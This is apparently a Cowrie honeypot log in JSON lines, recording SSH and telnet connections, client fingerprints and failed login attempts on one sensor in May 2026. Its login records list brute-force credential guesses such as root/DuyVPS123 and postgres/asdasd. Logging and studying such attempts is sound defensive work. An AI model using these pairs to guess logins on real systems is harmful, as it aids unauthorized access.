{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:24.177947Z","src_ip":"103.15.226.202","session":"03247f665866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":54916,"dst_ip":"159.203.135.109","dst_port":22,"session":"100c6b2adba5","protocol":"ssh","message":"New connection: 80.94.92.168:54916 (159.203.135.109:22) [session: 100c6b2adba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:36.765566Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:36.879918Z","src_ip":"80.94.92.168","session":"100c6b2adba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":48076,"dst_ip":"10.17.0.5","dst_port":22,"session":"a250f6bb8486","protocol":"ssh","message":"New connection: 98.70.48.241:48076 (10.17.0.5:22) [session: a250f6bb8486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:04.969120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:04.976608Z","src_ip":"98.70.48.241","session":"a250f6bb8486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:05.163969Z","src_ip":"98.70.48.241","session":"a250f6bb8486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test002","password":"test002","message":"login attempt [test002/test002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:05.928661Z","src_ip":"98.70.48.241","session":"a250f6bb8486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":38546,"dst_ip":"10.17.0.5","dst_port":22,"session":"917e77b1e1c4","protocol":"ssh","message":"New connection: 190.181.25.210:38546 (10.17.0.5:22) [session: 917e77b1e1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:06.842959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:06.847908Z","src_ip":"190.181.25.210","session":"917e77b1e1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:06.978163Z","src_ip":"190.181.25.210","session":"917e77b1e1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:07.115334Z","src_ip":"98.70.48.241","session":"a250f6bb8486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lubuntu","password":"lubuntu","message":"login attempt [lubuntu/lubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:07.515594Z","src_ip":"190.181.25.210","session":"917e77b1e1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:23:08.643062Z","src_ip":"190.181.25.210","session":"917e77b1e1c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":46600,"dst_ip":"10.17.0.5","dst_port":22,"session":"badc6b6c98b9","protocol":"ssh","message":"New connection: 190.181.25.210:46600 (10.17.0.5:22) [session: badc6b6c98b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:04.200872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:04.205803Z","src_ip":"190.181.25.210","session":"badc6b6c98b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:04.334247Z","src_ip":"190.181.25.210","session":"badc6b6c98b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password!@#x","message":"login attempt [admin/Password!@#x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:04.861928Z","src_ip":"190.181.25.210","session":"badc6b6c98b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":36076,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e337e45b561","protocol":"ssh","message":"New connection: 98.70.48.241:36076 (10.17.0.5:22) [session: 2e337e45b561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:04.961164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:04.966416Z","src_ip":"98.70.48.241","session":"2e337e45b561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:05.160353Z","src_ip":"98.70.48.241","session":"2e337e45b561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansadmin","password":"ansadmin","message":"login attempt [ansadmin/ansadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:05.934219Z","src_ip":"98.70.48.241","session":"2e337e45b561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:05.992383Z","src_ip":"190.181.25.210","session":"badc6b6c98b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:07.124129Z","src_ip":"98.70.48.241","session":"2e337e45b561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":39626,"dst_ip":"10.17.0.5","dst_port":23,"session":"bedce12b9888","protocol":"telnet","message":"New connection: 103.153.183.192:39626 (10.17.0.5:23) [session: bedce12b9888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:17.738331Z"}
{"eventid":"cowrie.session.closed","duration":0.0053348541259765625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:24:17.743539Z","src_ip":"103.153.183.192","session":"bedce12b9888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":54656,"dst_ip":"10.17.0.5","dst_port":22,"session":"986a6495827e","protocol":"ssh","message":"New connection: 190.181.25.210:54656 (10.17.0.5:22) [session: 986a6495827e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:04.368244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:04.373306Z","src_ip":"190.181.25.210","session":"986a6495827e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:04.491364Z","src_ip":"190.181.25.210","session":"986a6495827e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"tester","message":"login attempt [test2/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:04.994310Z","src_ip":"190.181.25.210","session":"986a6495827e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":60318,"dst_ip":"10.17.0.5","dst_port":22,"session":"16e0f5df5318","protocol":"ssh","message":"New connection: 98.70.48.241:60318 (10.17.0.5:22) [session: 16e0f5df5318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:05.477730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:05.490930Z","src_ip":"98.70.48.241","session":"16e0f5df5318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:05.687464Z","src_ip":"98.70.48.241","session":"16e0f5df5318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:06.118160Z","src_ip":"190.181.25.210","session":"986a6495827e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdasd","message":"login attempt [postgres/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:06.496010Z","src_ip":"98.70.48.241","session":"16e0f5df5318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:07.695547Z","src_ip":"98.70.48.241","session":"16e0f5df5318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":50748,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a388981f3f","protocol":"ssh","message":"New connection: 103.15.226.202:50748 (10.17.0.5:22) [session: 54a388981f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:57.514939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:57.521452Z","src_ip":"103.15.226.202","session":"54a388981f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:57.762556Z","src_ip":"103.15.226.202","session":"54a388981f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DuyVPS123","message":"login attempt [root/DuyVPS123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:58.484515Z","src_ip":"103.15.226.202","session":"54a388981f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:25:59.729352Z","src_ip":"103.15.226.202","session":"54a388981f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":34477,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c59447ad705","protocol":"ssh","message":"New connection: 190.181.25.210:34477 (10.17.0.5:22) [session: 3c59447ad705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:01.037928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:01.045019Z","src_ip":"190.181.25.210","session":"3c59447ad705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:01.165764Z","src_ip":"190.181.25.210","session":"3c59447ad705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123","message":"login attempt [admin1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:26:01.685709Z","src_ip":"190.181.25.210","session":"3c59447ad705","protocol":"ssh"}
